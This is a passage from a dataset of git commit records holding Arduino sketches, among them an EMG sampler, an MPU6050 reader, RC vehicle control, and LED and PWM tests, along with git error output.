255);\n\n \/\/ clear all timer2 registers\n TCCR2A = 0;\n TCCR2B = 0;\n TIMSK2 = 0;\n\n \/\/set timer2 control register values\n TCCR2A |= (1<<WGM21);\n TCCR2B |= (1<<CS22);\n#ifdef SLOW\n \/\/ change prescaler to 128, halve calculated OCR val\n TCCR2B |= (1<<CS20);\n OCRval >>= 1;\n#endif\n TIMSK2 |= (1<<OCIE2A);\n OCR2A = OCRval;\n}\n\n\n\/****************************************************\/\n\/* Function name: togglePins *\/\n\/* Parameters *\/\n\/* Input : No *\/\n\/* Output : No *\/\n\/* Action: Toggles state of an LED and 'CAL' pin *\/\n\/****************************************************\/\nvoid togglePins(){\n static byte state = HIGH;\n digitalWrite(LED_PIN, state);\n digitalWrite(CAL_SIG_PIN, state);\n state = !state;\n}\n\n\n\/****************************************************\/\n\/* Function name: setup *\/\n\/* Parameters *\/\n\/* Input : No *\/\n\/* Output : No *\/\n\/* Action: Initializes peripherals & variables *\/\n\/****************************************************\/\nvoid setup() {\n noInterrupts();\n\n Serial.begin(115200);\n setSampleFreq(SAMP_FREQ);\n pinMode(LED_PIN, OUTPUT);\n pinMode(CAL_SIG_PIN, OUTPUT);\n\n TXData[0] = HEADER;\n TXData[1] = HEADER;\n TXData[2] = OCRval;\n for (i=3; i<12; i++){\n TXData[i] = 0;\n }\n\n interrupts();\n}\n\n\n\/****************************************************\/\n\/* Function name: ISR(TIMER2_COMPA_vect) *\/\n\/* - is an interrupt service routine (TIMER2 *\/\n\/* compare match) *\/\n\/* Parameters *\/\n\/* Input : No *\/\n\/* Output : No *\/\n\/* Action: Samples ADC at a fixed frequency. *\/\n\/****************************************************\/\nISR(TIMER2_COMPA_vect){\n \/\/ Read 4 ADC channels\n for(i=0;i<4;i++){\n ADC_val = analogRead(i);\n TXData[4 + 2*i] = (byte)(ADC_val >> 8);\n TXData[5 + 2*i] = (byte)ADC_val;\n }\n\n \/\/ transmit data\n for(i=0;i<12;i++){\n Serial.write(TXData[i]);\n }\n\n \/\/ increment packet counter\n TXData[3]++;\n\n \/\/ Toggle LED and CAL_SIG_PIN at SAMPFREQ\/2\n togglePins();\n}\n\n\n\/****************************************************\/\n\/* Function name: loop *\/\n\/* Parameters *\/\n\/* Input : No *\/\n\/* Output : No *\/\n\/* Action: Puts MCU into sleep mode. *\/\n\/****************************************************\/\nvoid loop() {\n __asm__ __volatile__ (\"sleep\");\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'olimex-emg-transmit\/olimex-emg-transmit.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"42e018076159e302c80f74bb3cbf8cd8816a6cf8","subject":"added RawSensorData.ino","message":"added RawSensorData.ino\n\nThis is an arduino program for testing out the mpu6050. It reads raw data from the mpu6050 and either prints the data or sampling rate to the serial port.\n","repos":"tuskauavproject\/TuskaGimbal,tuskauavproject\/TuskaGimbal","old_file":"Arduino\/sketches\/Sensor_Module\/RawSensorData.ino","new_file":"Arduino\/sketches\/Sensor_Module\/RawSensorData.ino","new_contents":"\/\/ UNCOMMENT ONE OF THE TWO OPTIONS BELOW\n\n\/\/#define PRINTDATA \/\/ uncomment to display raw data over serial port in format [gX gY gZ aX aY aZ]\n\/\/#define SAMPLERATE \/\/ uncomment to display sampling rate over serial port updates every 2 seconds with sampleing rate in Hz\n\n#include <avr\/eeprom.h>\n\/\/ some of these variables probably are not useful eventually we should try and remove them.\nstatic uint16_t calibratingG;\nstatic int16_t gyroADC[3],accADC[3],accSmooth[3],magADC[3];\nstatic int16_t gyroZero[3] = {0,0,0};\nstatic uint16_t acc_1G; \/\/ this is the 1G measured acceleration\nstatic uint16_t calibratingA = 0; \/\/ the calibration is done in the main loop. Calibrating decreases at each cycle down to 0, then we enter in a normal mode.\nstatic int16_t lookupPitchRollRC[6];\/\/ lookup table for expo & RC rate PITCH+ROLL\nstatic int16_t lookupThrottleRC[11];\/\/ lookup table for expo & mid THROTTLE\nstatic int16_t acc_25deg;\n\n#if defined(SAMPLERATE)\n\t\tlong ptime = 0;\n\t\tint count = 0;\n#endif\n\n\/\/ ************************************************************************************************************\n\/\/ Main Program\n\/\/ ************************************************************************************************************\n\nvoid setup()\n{\n initSensors();\n Serial.begin(115200);\n}\n\nvoid loop()\n{\n\tACC_getADC();\n\tGyro_getADC();\n\t#if defined(PRINTDATA) \n\t\tprintRawData();\n\t#elif defined(SAMPLERATE)\n\t\tprintSampleRate();\n\t#endif\n\t\n}\n\n\/\/ ************************************************************************************************************\n\/\/ Helper Functions\n\/\/ ************************************************************************************************************\nvoid printRawData() \/\/prints raw data over serial port in format \"[gX gY gZ aX aY aZ]\\n\"\n{\n\tSerial.print(\"[\");\n\tSerial.print(gyroADC[0]);\n\tSerial.print(\"\\t\\t\");\n\tSerial.print(gyroADC[1]);\n\tSerial.print(\"\\t\\t\");\n\tSerial.print(gyroADC[2]);\n\tSerial.print(\"\\t\\t\");\n\tSerial.print(accADC[1]);\n\tSerial.print(\"\\t\\t\");\n\tSerial.print(accADC[2]);\n\tSerial.print(\"\\t\\t\");\n\tSerial.print(accADC[3]);\n\tSerial.println(\"]\");\n}\n\nvoid printSampleRate() \/\/takes number of samples over approx 2 sec. and prints out the sampling rate in Hz to serial port.\n{\n\tcount++;\n\tif((millis() - ptime) >= 2000 ){\n\t\tSerial.print(\"Sampling Rate:\");\n\t\tSerial.print((float)count\/((millis() - ptime)\/ (float)1000));\n\t\tSerial.println(\"Hz\");\n\t\tptime = millis();\n\t\tcount = 0;\n\t}\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/sketches\/Sensor_Module\/RawSensorData.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8ad737a14eefcf05087391147681430d04f442ec","subject":"New code to process signals from RC controller.","message":"New code to process signals from RC controller.\n","repos":"jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano","old_file":"RC_Control_interrupts\/RC_Control_interrupts.ino","new_file":"RC_Control_interrupts\/RC_Control_interrupts.ino","new_contents":"\/\/RC_Control_interrupts.ino\n\/*\nThis version assumes that each of \nRC_STEER_PIN, RC_CRUISE_PIN, RC_THROTTLE_PIN, RC_ESTOP_PIN, RC_RUDDER_PIN and RC_REVERSE_PIN\ngo into an OR gate to form RC_INTERRUPT_PIN.\nThe variable rc_index tells where the next data will go in RC_results.\n\n*\/\n#include <SPI.h>\n\n\/\/RC input values - pulse widths in microseconds\nconst int DEAD_ZONE = 75;\nconst int MIDDLE = 1510; \/\/ was 1322;\n\/\/ extremes of RC pulse width\nconst int MIN_RC = 1090; \/\/ was 911;\nconst int MAX_RC = 1930; \/\/ was 1730;\nconst int CYCLE_MAX = 25000; \/\/ Pulses come at 42.27 Hz, every 21155 us\nconst int MAX_PULSE = 4000; \/\/ Next pulse should be no longer than this time from last.\n\n\/\/OUTPUT values - 0 to 255\nconst int MIN_ACC_OUT = 40;\nconst int MAX_ACC_OUT = 227;\nconst int MIN_BRAKE_OUT = 167;\nconst int MAX_BRAKE_OUT = 207;\nconst int LEFT_TURN_OUT = 126;\nconst int RIGHT_TURN_OUT = 250;\nconst int STRAIGHT_TURN_OUT = 187;\n\n\/\/ARDUINO PIN SELECTORS\nconst int RC_STEER_PIN = 44; \/\/ Input from RC \/\/ was 2;\nconst int RC_CRUISE_PIN = 42;\nconst int RC_THROTTLE_PIN = 46; \/\/ Input \/\/ was 3;\nconst int RC_ESTOP_PIN = 38;\nconst int RC_RUDDER_PIN = 40;\nconst int RC_REVERSE_PIN = 36;\nconst int RC_INTERRUPT_PIN = 20; \nconst int RC_INTERRUPT = 3;\nconst int PIN_ORDER[8] = {0, RC_STEER_PIN, RC_CRUISE_PIN, RC_THROTTLE_PIN, RC_ESTOP_PIN, RC_RUDDER_PIN, RC_REVERSE_PIN, 0};\nconst int STEER_OUT_PIN = 6; \/\/ Output to steer actuator\nconst int BRAKE_OUT_PIN = 7; \/\/ output to brake actuator\nconst int SelectCD = 49; \/\/ Select IC 3 DAC (channels C and D)\nconst int SelectAB = 53; \/\/ Select IC 2 DAC (channels A and B)\n\nconst unsigned long INVALID_DATA = 0;\nconst int RC_WAIT = 0; \/\/ rc_index is 0, waiting for data\nconst int RC_PROCESSING = 1; \/\/ rc_index is 1 to 6\nconst int RC_DONE = 2; \/\/ rc_index is 7\nvolatile int rc_index = 0;\nvolatile unsigned long RC_results[7];\nvolatile int rc_state = RC_WAIT;\n\nvoid setup()\n{ \/\/Set up pins\n pinMode(BRAKE_OUT_PIN, OUTPUT);\n pinMode(STEER_OUT_PIN, OUTPUT);\n \/\/ SPI: set the slaveSelectPin as an output:\n pinMode (SelectAB, OUTPUT);\n pinMode (SelectCD, OUTPUT);\n pinMode (10, OUTPUT);\n SPI.setDataMode( SPI_MODE0);\n SPI.setBitOrder( MSBFIRST);\n \/\/ initialize SPI:\n \/\/ The following line should not be neccessary. It uses a system library.\n PRR0 &= ~4; \/\/ turn off PRR0.PRSPI bit so power isn't off\n SPI.begin();\n for (int channel = 0; channel < 4; channel++)\n DAC_Write (channel, 0); \/\/ reset did not clear previous states\n Serial.begin(9600);\n rc_index = 0;\n for (int i = 0; i < 8; i++)\n RC_results[i] = INVALID_DATA;\n rc_state = RC_WAIT;\n \n attachInterrupt(RC_INTERRUPT, ISR_rise, RISING);\n attachInterrupt(RC_INTERRUPT, ISR_fall, FALLING);\n}\nvoid ISR_rise()\n{\n noInterrupts();\n unsigned long time = micros();\n for (register int i = 0; i < 8; i++)\n {\n register int index = (rc_index+i)&7;\n if (PIN_ORDER[index] == 0)\n continue;\n if (digitalRead(PIN_ORDER[index]) == HIGH)\n {\n rc_index = (rc_index+i) & 7;\n RC_results[rc_index] = time;\n rc_state = RC_PROCESSING;\n if (rc_index == 1) \/\/ first signal of group\n RC_results[0] = RC_results[1]; \/\/ log starting time\n \n }\n }\n interrupts();\n}\nvoid ISR_fall()\n{\n noInterrupts();\n if (PIN_ORDER[rc_index] != 0 && digitalRead(PIN_ORDER[rc_index]) == LOW)\n {\n unsigned int elapsed = RC_results[rc_index] - micros();\n if (elapsed > MAX_RC)\n {\n RC_results[rc_index] = INVALID_DATA;\n if (rc_index == 7)\n rc_state = RC_DONE;\n }\n else if (elapsed < MIN_RC)\n {\n RC_results[rc_index] = elapsed;\n if (rc_index == 7)\n rc_state = RC_DONE;\n }\n else; \/\/ spurious interrupt; wait for the next.\n }\n interrupts();\n}\nvoid loop() {\n unsigned long Start_us = micros();\n unsigned long local_results[7];\n while (rc_state != RC_DONE)\n ;\n \/\/ got data; \n rc_state = RC_WAIT; \/\/ ignore pulses on data line.\n for (int i = 0; i < 8; i++)\n local_results[i] = RC_results[i];\n unsigned long Elapsed_us = micros() - Start_us;\n Serial.print(Start_us); Serial.print(\"\\t\");\n Serial.print(Elapsed_us); Serial.print(\"\\t\");\n Serial.print(local_results[0]); Serial.print(\"\\t\");\n Serial.print(local_results[1]); Serial.print(\"\\t\");\n Serial.print(local_results[2]); Serial.print(\"\\t\");\n Serial.print(local_results[3]); Serial.print(\"\\t\");\n Serial.print(local_results[4]); Serial.print(\"\\t\");\n Serial.print(local_results[5]); Serial.print(\"\\t\");\n Serial.println(local_results[6]);\n \n processRC(local_results);\n}\nvoid processRC (unsigned long *RC_results)\n{ \n \/\/ 1st pulse is aileron (position 5 on receiver; controlled by Right left\/right joystick on transmitter)\n \/\/ used for Steering\n int aileron = RC_results[1];\n RC_results[1] = liveTurn(aileron)? convertTurn(aileron): STRAIGHT_TURN_OUT;\n \n \/* 2nd pulse is aux (position 1 on receiver; controlled by flap\/gyro toggle on transmitter) \n will be used for selecting remote control or autonomous control. *\/\n RC_results[2] = (RC_results[2] > MIDDLE? HIGH: LOW);\n\n \/* 4th pulse is gear (position 2 on receiver; controlled by gear\/mode toggle on transmitter) \n will be used for emergency stop. D38 *\/\n RC_results[4] = (RC_results[4] > MIDDLE? HIGH: LOW);\n \n if (RC_results[4] == HIGH)\n {\n E_Stop();\n if (RC_results[2] == HIGH) \/\/ under RC control\n steer(RC_results[1]); \n return;\n }\n if ( RC_results[2] == LOW)\n return; \/\/ not under RC control\n\n \/* 6th pulse is marked throttle (position 6 on receiver; controlled by Left up\/down joystick on transmitter). \n It will be used for shifting from Drive to Reverse . D40\n *\/\n RC_results[6] = (RC_results[6] > MIDDLE? HIGH: LOW);\n \n\/\/ TO DO: Select Forward \/ reverse based on RC_results[6]\n\n \n \/* 3rd pulse is elevator (position 4 on receiver; controlled by Right up\/down. \n will be used for throttle\/brake: RC_Throttle\n *\/\n \/\/ Braking or Throttle\n if (liveBrake(RC_results[3])) \n brake(convertTurn(RC_results[3]));\n else\n brake(MIN_BRAKE_OUT);\n \/\/Accelerating\n if(liveThrottle(RC_results[3]))\n moveVehicle(RC_results[3]);\n else\n moveVehicle(MIN_ACC_OUT);\n\n steer(RC_results[1]); \n \n \/* 5th pulse is rudder (position 3 on receiver; controlled by Left left\/right joystick on transmitter) \n Not used *\/\n RC_results[5] = (RC_results[5] > MIDDLE? HIGH: LOW); \/\/ could be analog\n\n}\n\/\/Converts RC values to corresponding values for the DAC\nint convertTurn(int input)\n{\n \/\/full turn right = 250, full turn left = 126\n int dacRange = RIGHT_TURN_OUT - LEFT_TURN_OUT;\n int rcRange = MAX_RC - MIN_RC;\n input-= MIN_RC;\n \/\/ TO DO: No doubles\n double output = (double)input \/(double)rcRange;\n \/\/swap left and right\n output = 1 - output;\n output *= dacRange;\n output += LEFT_TURN_OUT;\n \/\/set max and min values if out of range\n int trueOut = (int)output;\n if(trueOut > RIGHT_TURN_OUT)\n trueOut = RIGHT_TURN_OUT;\n else if(trueOut < LEFT_TURN_OUT)\n trueOut = LEFT_TURN_OUT;\n return trueOut;\n}\nint convertBrake(int input)\n{\n \/\/full brake = 207, min = 167\n const int dacRange = MAX_BRAKE_OUT - MIN_BRAKE_OUT;\n const int rcRange = (MIDDLE - DEAD_ZONE) - MIN_RC;\n input -= MIN_RC;\n double output = (double)input \/(double)rcRange;\n output *= dacRange;\n output += MIN_BRAKE_OUT;\n \/\/set min values if out of range\n int trueOut = (int)output;\n if(trueOut < MIN_BRAKE_OUT)\n trueOut = MIN_BRAKE_OUT;\n return trueOut;\n}\nint convertThrottle(int input)\n{\n \/\/full throttle = 227, min = 40\n const int dacRange = MAX_ACC_OUT - MIN_ACC_OUT;\n const int rcRange = MAX_RC - (MIDDLE + DEAD_ZONE);\n input -= (MIDDLE + DEAD_ZONE);\n double output = (double)input \/(double)rcRange;\n output *= dacRange;\n output += MIN_ACC_OUT;\n \/\/set max values if out of range\n int trueOut = (int)output;\n if(trueOut > MAX_ACC_OUT)\n trueOut = MAX_ACC_OUT;\n return trueOut;\n}\n\/\/Tests for inputs\n\/\/ Input is not in steer dead zone\nboolean liveTurn(int turn)\n{\n return (turn > MIDDLE + DEAD_ZONE || turn < MIDDLE - DEAD_ZONE);\n}\n\/\/ Input not in throttle dead zone\nboolean liveThrottle(int acc)\n{\n return (acc > MIDDLE + DEAD_ZONE);\n}\n\/\/ Input is not in brake dead zone\nboolean liveBrake(int brake)\n{\n return (brake < MIDDLE - DEAD_ZONE);\n}\n\/\/ Emergency stop\nvoid E_Stop()\n{\n brake(MAX_BRAKE_OUT);\n moveVehicle(MIN_ACC_OUT);\n \/\/ TO DO: disable 36V power\n}\n\/\/Send values to output pin\nvoid steer(int pos)\n{\n analogWrite(STEER_OUT_PIN, pos);\n}\nvoid brake(int amount)\n{\n analogWrite(BRAKE_OUT_PIN, amount);\n}\nvoid moveVehicle(int acc)\n{\n \/* Observed behavior on ElCano #1 E-bike no load (May 10, 2013, TCF)\n 0.831 V at rest 52 counts\n 1.20 V: nothing 75\n 1.27 V: just starting 79\n 1.40 V: slow, steady 87\n 1.50 V: brisker 94\n 3.63 V: max 227 counts\n 255 counts = 4.08 V\n *\/\n DAC_Write(0, acc);\n}\n\/*---------------------------------------------------------------------------------------*\/\n\/* DAC_Write applies value to address, producing an analog voltage.\n\/\/ address: 0 for chan A; 1 for chan B; 2 for chan C; 3 for chan D\n\/\/ value: digital value converted to analog voltage\n\/\/ Output goes to mcp 4802 Digital-Analog Converter Chip via SPI\n\/\/ There is no input back from the chip.\n*\/\nvoid DAC_Write(int address, int value)\n\/*\nREGISTER 5-3: WRITE COMMAND REGISTER FOR MCP4802 (8-BIT DAC)\nA\/B \u2014 GA SHDN D7 D6 D5 D4 D3 D2 D1 D0 x x x x\nbit 15 bit 0\nbit 15 A\/B: DACA or DACB Selection bit\n1 = Write to DACB\n0 = Write to DACA\nbit 14 \u2014 Don\u2019t Care\nbit 13 GA: Output Gain Selection bit\n1 = 1x (VOUT = VREF * D\/4096)\n0 = 2x (VOUT = 2 * VREF * D\/4096), where internal VREF = 2.048V.\nbit 12 SHDN: Output Shutdown Control bit\n1 = Active mode operation. VOUT is available.\n0 = Shutdown the selected DAC channel. Analog output is not available at the channel that was shut down.\nVOUT pin is connected to 500 k (typical)\nbit 11-0 D11:D0: DAC Input Data bits. Bit x is ignored.\nWith 4.95 V on Vcc, observed output for 255 is 4.08V.\nThis is as documented; with gain of 2, maximum output is 2 * Vref\n*\/\n{\n int byte1 = ((value & 0xF0)>>4) | 0x10; \/\/ acitve mode, bits D7-D4\n int byte2 = (value & 0x0F)<<4; \/\/ D3-D0\n if (address < 2)\n {\n \/\/ take the SS pin low to select the chip:\n digitalWrite(SelectAB,LOW);\n if (address >= 0)\n {\n if (address == 1)\n byte1 |= 0x80; \/\/ second channnel\n SPI.transfer(byte1);\n SPI.transfer(byte2);\n }\n \/\/ take the SS pin high to de-select the chip:\n digitalWrite(SelectAB,HIGH);\n }\n else\n {\n \/\/ take the SS pin low to select the chip:\n digitalWrite(SelectCD,LOW);\n if (address <= 3)\n {\n if (address == 3)\n byte1 |= 0x80; \/\/ second channnel\n SPI.transfer(byte1);\n SPI.transfer(byte2);\n }\n \/\/ take the SS pin high to de-select the chip:\n digitalWrite(SelectCD,HIGH);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RC_Control_interrupts\/RC_Control_interrupts.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1057751533734ca7b6e4d1503721414d8038b7be","subject":"Added module test code","message":"Added module test code\n","repos":"HMTL\/HMTL,aphelps\/HTML,aphelps\/HMTL,HMTL\/HMTL,aphelps\/HMTL,HMTL\/HMTL,aphelps\/HMTL,aphelps\/HTML,aphelps\/HMTL,HMTL\/HMTL,aphelps\/HTML,aphelps\/HTML","old_file":"RS485\/ModuleTest\/ModuleTest.ino","new_file":"RS485\/ModuleTest\/ModuleTest.ino","new_contents":"\/*\n * This code is intended to verify that a module is functioning properly\n *\/\n\n#include \"SPI.h\"\n#include \"Adafruit_WS2801.h\"\n\n#define DEBUG_LEVEL DEBUG_HIGH\n#include \"Debug.h\"\n#include \"PixelUtils.h\"\n\n\/\/ PWM outputs\n#define PWM_PINS 6\nuint8_t pwm_pins[PWM_PINS] = { 3, 5, 6, 9, 10, 11 };\nuint8_t pwm_values[PWM_PINS] = { 0, 64, 128, 196, 255, 0 };\n#define PWM_STEP 2\n\n\/\/ Pixel strand outputs\n#define PIXEL_DATA 6\n#define PIXEL_CLOCK 7\n#define PIXEL_NUM 50\nAdafruit_WS2801 pixels = Adafruit_WS2801(PIXEL_NUM, PIXEL_DATA, PIXEL_CLOCK);\n\nvoid setup() {\n Serial.begin(9600);\n\n for (int i = 0; i < PWM_PINS; i++) {\n pinMode(pwm_pins[i], OUTPUT);\n }\n\n pixels.begin();\n pixels.show();\n}\n\n#define DELAY 10\nvoid loop() {\n\n \/* Increment all 6 PWM outputs *\/\n for (int i = 0; i < PWM_PINS; i++) {\n pwm_values[i] += PWM_STEP;\n analogWrite(pwm_pins[i], pwm_values[i]);\n }\n\n \/* Shift through the pixels *\/\n static int currentPixel = 0;\n pixels.setPixelColor(currentPixel, 0);\n currentPixel = (currentPixel + 1) % pixels.numPixels();\n pixels.setPixelColor(currentPixel, pixel_color(255, 0, 0));\n pixels.show();\n\n delay(DELAY);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RS485\/ModuleTest\/ModuleTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"96b6a6c5ffbd4c4accdfe0c5ebb38515fd6ae481","subject":"Got rid of struct {0} assignment, as it wasn't done right and I'm not sure how to fix it. Doesn't need it, anyway. Hopefully I figure it out during my Java course... Also changed back to multiples of 100 and 10 instead of 1000 and 100 for averaging, as it was taking too long... I think. Not actually sure. Also got rid of those huge debugging timer code blocks because they were huge.","message":"Got rid of struct {0} assignment, as it wasn't done right and I'm not sure how to fix it. Doesn't need it, anyway. Hopefully I figure it out during my Java course... Also changed back to multiples of 100 and 10 instead of 1000 and 100 for averaging, as it was taking too long... I think. Not actually sure. Also got rid of those huge debugging timer code blocks because they were huge.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c14b9315a5d65ba3a6a5ef56d51ffc26c6b32206","subject":"fourth","message":"fourth\n","repos":"lindakellner\/attempt,lindakellner\/attempt","old_file":"dreifachblinker.ino","new_file":"dreifachblinker.ino","new_contents":" void setup() {\n pinMode(8, OUTPUT);\n pinMode(10, OUTPUT); \n pinMode(12, OUTPUT);\n}\n\n void loop() {\n\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dreifachblinker.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e536cc666586a90ebc40d5b7aaaeb500cecd5338","subject":"ok, now we use pipelines, but do not move due to misconfiguration \u2026","message":"ok, now we use pipelines, but do not move due to misconfiguration \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1f464afe24cffd02c5691f7b6e938813b9fc7d49","subject":"fix I2C error handling","message":"fix I2C error handling\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0f15621f9ace1fe6fb8e3c3d010bb342b6f47ed8","subject":"Added simple test code to very the arduino's I2C pins are working","message":"Added simple test code to very the arduino's I2C pins are working\n","repos":"HMTL\/HMTL,HMTL\/HMTL,aphelps\/HTML,aphelps\/HTML,HMTL\/HMTL,aphelps\/HTML,HMTL\/HMTL,aphelps\/HMTL,aphelps\/HTML,aphelps\/HMTL,aphelps\/HMTL,aphelps\/HMTL","old_file":"VerifyI2CPins\/VerifyI2CPins.ino","new_file":"VerifyI2CPins\/VerifyI2CPins.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n \n This example code is in the public domain.\n *\/\n \n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 13;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n Serial.begin(9600);\n \n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n pinMode(A4, INPUT);\n pinMode(A5, INPUT);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n Serial.print(analogRead(A4));\n Serial.print(\"-\");\n Serial.println(analogRead(A5));\n \n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(500); \/\/ wait for a second\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(500); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VerifyI2CPins\/VerifyI2CPins.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b2a93c16c8f1d9822bd0b259c054e1890861b03","subject":"initilize arduino_motor.ino","message":"initilize arduino_motor.ino\n","repos":"idf\/Robot-In-Maze,idf\/Robot-In-Maze,idf\/Robot-In-Maze","old_file":"arduino_motor\/arduino_motor.ino","new_file":"arduino_motor\/arduino_motor.ino","new_contents":"#include <PololuWheelEncoders.h>\n#include <PID_v1.h>\n\/\/#include <PinChangeInt.h>\n\n\/\/#include <DistanceGP2Y0A02YK.h>\n\/\/#include <DistanceGP2Y0A21YK.h>\n#include <Servo.h>\n\n\/* Serial write for sensing obstacles: 0 = ready to receive data from raspberry pi, \n 1 = center sensor only, 2 = left sensor only, 3 = right sensor only, \n 4 = center and left sensors, 5 = center and right sensors, 6 = left and right sensors,\n 7 = all three sensors, 8 = default none sensed\n \n Serial read: 1 = move forward, 2 = turn left, 3 = turn right, 4 = stop *\/\n\nstatic boolean informReadyOnce = false;\nstatic boolean countTicksForAngleOrDist = false;\n\nServo myServo;\n\/\/PololuWheelEncoders encoder;\n\n\/\/const float pi = 3.14159;\nconst int wheelDiameter = 6; \nconst int countsPerRevolution = 2249;\nconst float thresh = 20;\n\/\/const float noOfTicksPerCm = 2249\/(PI*6);\nconst float noOfCmPerTick = (PI*6)\/2249;\n\/\/const float noOfCmPerDegree = (PI*17.2)\/360;\n\/\/float leftCounter, rightCounter;\n\n\/\/ Analog Pins; middle sensor [0], left sensor [1], right sensor [2]\nconst int sensorPin0 = 0, sensorPin1 = 1, sensorPin2 = 2, sensorPin3 = 3;\nconst int maxSpeedA = 225; \/\/ Max speed for motor based on pwn A (right)\nconst int maxSpeedB = 225; \/\/ Max speed for motor based on pwn B (left)\n\n\/\/ Digital Pins\nint pwm_right = 3; \/\/ PWM control for motor outputs 1 and 2 is on digital pin 3\nint pwm_left = 11; \/\/ PWM control for motor outputs 3 and 4 is on digital pin 11\nint dir_right = 12; \/\/ Direction control for motor outputs 1 and 2 is on digital pin 12\nint dir_left = 13; \/\/ Direction control for motor outputs 3 and 4 is on digital pin 13\nint caseCheck = 8;\n\n\/\/PI variables\n\/\/double leftOut, rightOut;\n\/\/double err;\n\/\/double err2 = 0;\n\/\/double Kp = 4 ;\n\/\/double Ki = 5;\n\n\/\/ 2249 ticks for one full revolution\ndouble leftWheelTickCount = 0; \ndouble rightWheelTickCount = 0;\nfloat leftTicksForAngleOrDist = 0;\nfloat rightTicksForAngleOrDist = 0;\n\n\/\/int delta_left = 0;\n\/\/int delta_right = 0;\n\/\/double setPointL = 0;\n\/\/double setPointR = 0;\n\/\/double setPointMid;\n\/\/double actual_speed_left = 0;\n\/\/double actual_speed_right = 0;\n\/\/double actual_speed;\n\/\/double pwm_mid;\n\/\/double pwm_left;\n\/\/double pwm_right;\n\n\/\/int angleTurn = 0;\n\/\/int distanceMove = 0;\n\nint LOOPTIME = 100;\nunsigned long lastMilli = 0;\n\nlong timing = 0;\nlong previousLeftTick = 0;\nlong previousRightTick = 0;\ndouble SetpointLeft, InputLeft, OutputLeft;\ndouble SetpointRight, InputRight, OutputRight;\ndouble SetpointMid, InputMid, OutputMid;\nPID leftPID(&InputLeft, &OutputLeft, &SetpointLeft,1,1,0, DIRECT);\nPID rightPID(&InputRight, &OutputRight, &SetpointRight,1,1,0, DIRECT);\nPID midPID(&InputMid, &OutputMid, &SetpointMid,1,1,1, DIRECT);\n\nfloat distanceS, deltaHeading, deltaX, deltaY;\n\nint rightEncoderOne = 6;\nint rightEncoderTwo = 7;\nint leftEncoderOne = 8;\nint leftEncoderTwo = 9;\nlong currentTicks = 0;\n\n\/\/unsigned long leftPololuCount = 0;\n\/\/unsigned long rightPololuCount = 0;\n\n\/\/int encoderLeftCount;\n\/\/int encoderRightCount;\n\ndouble setMotor;\n\n\/\/static long last_count_left = 0;\n\/\/static long last_count_right = 0;\n\nvoid setup()\n{\n \/\/ Set sensor control pins to be outputs\n pinMode(sensorPin0, OUTPUT); \n pinMode(sensorPin1, OUTPUT);\n pinMode(sensorPin2, OUTPUT);\n pinMode(sensorPin3, OUTPUT);\n\n \/\/ Set motor control pins to be outputs\n pinMode(pwm_right, OUTPUT); \n pinMode(pwm_left, OUTPUT);\n pinMode(dir_right, OUTPUT);\n pinMode(dir_left, OUTPUT);\n \n \/\/ Check for each ticks on wheels\n\/\/ PCintPort::attachInterrupt(6, incLeftCount, CHANGE);\n\/\/ PCintPort::attachInterrupt(7, incLeftCount, CHANGE);\n\/\/ PCintPort::attachInterrupt(8, incRightCount, CHANGE);\n\/\/ PCintPort::attachInterrupt(9, incRightCount, CHANGE);\n \n PololuWheelEncoders::init(rightEncoderOne,rightEncoderTwo,leftEncoderOne,leftEncoderTwo);\n \n \/\/PID_left.SetMode(AUTOMATIC);\n \/\/PID_right.SetMode(AUTOMATIC);\n deltaHeading = 